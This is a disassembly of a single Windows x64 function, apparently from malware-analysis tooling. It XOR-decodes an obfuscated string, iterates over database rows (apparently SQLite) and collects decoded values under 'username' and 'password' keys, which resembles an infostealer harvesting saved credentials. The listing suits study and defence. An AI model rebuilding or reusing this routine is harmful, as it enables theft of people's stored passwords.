Function at 0x14000ea60
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x118]
sub rsp, 0x218
movaps xmmword [rsp + 0x200], xmm6
mov rax, qword [0x1402d4c40]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov rbx, r9
mov qword [rbp - 0x78], rbx
mov rdi, r8
mov qword [rbp - 0x70], r8
mov qword [rbp - 0x80], rdx
mov r13, rcx
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0xb0], r8
mov qword [rbp + 0xb8], rbx
mov esi, 1
mov dword [rsp + 0x48], esi
mov rdx, r9
mov rcx, r8
call fcn.14000d070
xorps xmm0, xmm0
movups xmmword [r13], xmm0
xor r14d, r14d
mov qword [r13], r14
mov qword [r13 + 8], r14
mov ecx, 0x50
call fcn.1401e2ec8
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [r13], rax
mov dword [rsp + 0x48], esi
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000eb16
mov rcx, qword [rbx]
xor r9d, r9d
mov r8d, 6
lea rdx, [rsp + 0x40]
call fcn.14011a420
test eax, eax
je 0x14000eb42
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.1401177d0
nop
mov rcx, rdi
jmp 0x14000f364
movups xmm0, xmmword [0x1402967c8]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [0x1402967d8]
movups xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [0x1402967e8]
movups xmmword [rbp - 0x28], xmm0
movsd xmm0, qword [0x1402967f8]
movsd qword [rbp - 0x18], xmm0
mov eax, dword [0x140296800]
mov dword [rbp - 0x10], eax
movzx eax, word [0x140296804]
mov word [rbp - 0xc], ax
mov r8d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000ecb7
movdqa xmm4, xmmword [0x1402a5800]
movdqa xmm3, xmmword [0x1402a5880]
movdqa xmm5, xmmword [0x1402a5820]
movdqa xmm0, xmmword [0x1402a5870]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x44]
movdqa xmm6, xmmword [0x1402a5830]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000ebd0
cmp r8d, 0x3e
jge 0x14000ed00
movsxd rax, r8d
lea r9, [rbp - 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x14000ecd0
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov r9d, 0x80
mov r8d, 0xffffffff
lea rdx, [rbp - 0x48]
mov rdi, qword [rsp + 0x40]
mov qword [rsp + 0x40], rdi
mov rcx, rdi
call fcn.1400d7510
test eax, eax
je 0x14000ed44
xor edx, edx
mov rcx, rdi
call fcn.1401177d0
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1400845e0
cmp eax, 0x64
jne 0x14000f34b
mov r12d, 2
mov r15d, 0x202
lea rbx, [0x140292278]
test rdi, rdi
jne 0x14000ed92
mov rcx, rbx
movzx edx, word [rcx + 0x14]
movzx eax, dx
and ax, r15w
cmp ax, r15w
jne 0x14000eddb
cmp byte [rcx + 0x16], 1
jne 0x14000eddb
mov rsi, qword [rcx + 8]
jmp 0x14000edef
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000eda4
call qword [0x1402d68a0]
mov rcx, qword [rdi + 0xa0]
test rcx, rcx
je 0x14000edba
cmp r14w, word [rdi + 0xc0]
jb 0x14000edd1
mov rcx, qword [rdi]
mov dword [rcx + 0x50], Ordinal_30
mov edx, Ordinal_26
call fcn.140054210
mov rcx, rbx
test rcx, rcx
jne 0x14000ed75
mov rsi, r14
jmp 0x14000edef
test dl, 1
je 0x14000ede5
mov rsi, r14
jmp 0x14000edef
mov dl, 1
call fcn.14007d6f0
mov rsi, rax
test rdi, rdi
je 0x14000ee28
mov edx, dword [rdi + 0x34]
mov rcx, qword [rdi]
cmp byte [rcx + 0x67], 0
jne 0x14000ee09
test edx, edx
jne 0x14000ee09
mov eax, r14d
jmp 0x14000ee0e
call fcn.140050f20
mov dword [rdi + 0x34], eax
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000ee23
call qword [0x1402d68b0]
test rdi, rdi
jne 0x14000ee48
mov rcx, rbx
movzx edx, word [rcx + 0x14]
movzx eax, dx
and ax, r15w
cmp ax, r15w
jne 0x14000ee9b
cmp byte [rcx + 0x16], 1
jne 0x14000ee9b
mov r15, qword [rcx + 8]
jmp 0x14000eeaf
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000ee5a
call qword [0x1402d68a0]
mov rcx, qword [rdi + 0xa0]
test rcx, rcx
je 0x14000ee7a
mov eax, 1
cmp ax, word [rdi + 0xc0]
jae 0x14000ee7a
add rcx, 0x38
jmp 0x14000ee91
mov rcx, qword [rdi]
mov dword [rcx + 0x50], Ordinal_30
mov edx, Ordinal_26
call fcn.140054210
mov rcx, rbx
test rcx, rcx
jne 0x14000ee2b
mov r15, r14
jmp 0x14000eeaf
test dl, 1
je 0x14000eea5
mov r15, r14
jmp 0x14000eeaf
mov dl, 1
call fcn.14007d6f0
mov r15, rax
test rdi, rdi
je 0x14000ef2a
mov edx, dword [rdi + 0x34]
mov rcx, qword [rdi]
cmp byte [rcx + 0x67], 0
jne 0x14000eec9
test edx, edx
jne 0x14000eec9
mov eax, r14d
jmp 0x14000eece
call fcn.140050f20
mov dword [rdi + 0x34], eax
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000eee3
call qword [0x1402d68b0]
test rdi, rdi
je 0x14000ef2a
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000eefa
call qword [0x1402d68a0]
mov rcx, qword [rdi + 0xa0]
test rcx, rcx
je 0x14000ef16
cmp r12w, word [rdi + 0xc0]
jae 0x14000ef16
add rcx, 0x70
jmp 0x14000ef2d
mov rcx, qword [rdi]
mov dword [rcx + 0x50], Ordinal_30
mov edx, Ordinal_26
call fcn.140054210
mov rcx, rbx
call fcn.1400838e0
mov r12, rax
test rdi, rdi
je 0x14000efb4
mov edx, dword [rdi + 0x34]
mov rcx, qword [rdi]
cmp byte [rcx + 0x67], 0
jne 0x14000ef4f
test edx, edx
jne 0x14000ef4f
mov eax, r14d
jmp 0x14000ef54
call fcn.140050f20
mov dword [rdi + 0x34], eax
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000ef69
call qword [0x1402d68b0]
test rdi, rdi
je 0x14000efb4
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000ef80
call qword [0x1402d68a0]
mov rcx, qword [rdi + 0xa0]
test rcx, rcx
je 0x14000efa0
mov eax, 2
cmp ax, word [rdi + 0xc0]
jae 0x14000efa0
add rcx, 0x70
jmp 0x14000efb7
mov rcx, qword [rdi]
mov dword [rcx + 0x50], Ordinal_30
mov edx, Ordinal_26
call fcn.140054210
mov rcx, rbx
movzx eax, word [rcx + 0x14]
test al, 2
je 0x14000efca
cmp byte [rcx + 0x16], 1
jne 0x14000efca
mov ebx, dword [rcx + 0x10]
jmp 0x14000efee
test al, 0x10
je 0x14000efdc
mov ebx, dword [rcx + 0x10]
bt ax, 0xa
jae 0x14000efee
add ebx, dword [rcx]
jmp 0x14000efee
test al, 1
je 0x14000efe5
mov ebx, r14d
jmp 0x14000efee
mov dl, 1
call fcn.14007ddc0
mov ebx, eax
test rdi, rdi
je 0x14000f022
mov edx, dword [rdi + 0x34]
mov rcx, qword [rdi]
cmp byte [rcx + 0x67], 0
jne 0x14000f008
test edx, edx
jne 0x14000f008
mov eax, r14d
jmp 0x14000f00d
call fcn.140050f20
mov dword [rdi + 0x34], eax
mov rax, qword [rdi]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x14000f022
call qword [0x1402d68b0]
xorps xmm0, xmm0
xor eax, eax
movsxd r14, ebx
movdqu xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], rax
test ebx, ebx
je 0x14000f0bb
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x14000f3b2
cmp r14, 0x1000
jb 0x14000f085
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x14000f3ac
call fcn.1401e2ec8
mov rcx, rax
test rax, rax
je 0x14000f3a6
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000f08d
mov rcx, r14
call fcn.1401e2ec8
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rax
lea rbx, [rax + r14]
mov qword [rbp + 0xd0], rbx
mov r8, r14
mov rdx, r12
mov rcx, rax
call fcn.1402361f0
mov qword [rbp + 0xc8], rbx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], rax
mov r8, qword [rbp - 0x80]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xd8]
call fcn.14000e880
nop
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x14000f0f0
xor r14d, r14d
test rax, rax
je 0x14000f2a2
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r15 + r8], r14b
jne 0x14000f120
mov rdx, r15
lea rcx, [rsp + 0x60]
call fcn.140034570
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
mov r8d, 8
lea rdx, str.username
lea rcx, [rbp]
call fcn.140034570
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp + 0x30], xmm0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov r8, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xd8]
lea rcx, [rbp - 0x48]
call fcn.140032c00
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
mov r8d, 8
lea rdx, str.password
lea rcx, [rbp + 0x40]
call fcn.140034570
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
lea rax, [rbp]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x68], xmm1
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], 0
jne 0x14000f225
mov rdx, rsi
lea rcx, [rbp - 0x68]
call fcn.140034570
nop
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0xa0]
mov rcx, r13
call fcn.1400333d0
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp + 0x90]
call fcn.1400281a0
nop
lea rcx, [rbp - 0x68]
call fcn.14002f2b0
nop
lea r9, [0x14000f3f0]
mov r12d, 2
mov r8d, r12d
mov edx, 0x40
lea rcx, [rbp]
call fcn.1401e2f04
nop
lea rcx, [rbp - 0x48]
call fcn.14002f2b0
nop
lea rcx, [rsp + 0x60]
call fcn.14002f2b0
jmp 0x14000f2a8
mov r12d, 2
mov rcx, qword [rbp + 0xd8]
test rcx, rcx
je 0x14000f2fa
mov rdx, qword [rbp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f2e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f3a0
call fcn.1401e2eb0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r14
mov rcx, qword [rbp + 0xc0]
test rcx, rcx
je 0x14000f336
mov rdx, qword [rbp + 0xd0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f331
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f3a6
call fcn.1401e2eb0
mov rcx, rdi
call fcn.1400845e0
cmp eax, 0x64
je 0x14000ed60
mov rbx, qword [rbp - 0x78]
mov rcx, rdi
call fcn.140083610
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.1401177d0
nop
mov rcx, qword [rbp - 0x70]
call fcn.14002f2b0
nop
mov rcx, rbx
call fcn.14002f2b0
mov rax, r13
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.1401e2e90
movaps xmm6, xmmword [rsp + 0x200]
add rsp, 0x218
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1401f8a98
nop
call fcn.1401f8a98
int3
call fcn.140001cb0
int3
call fcn.14002ee00
int3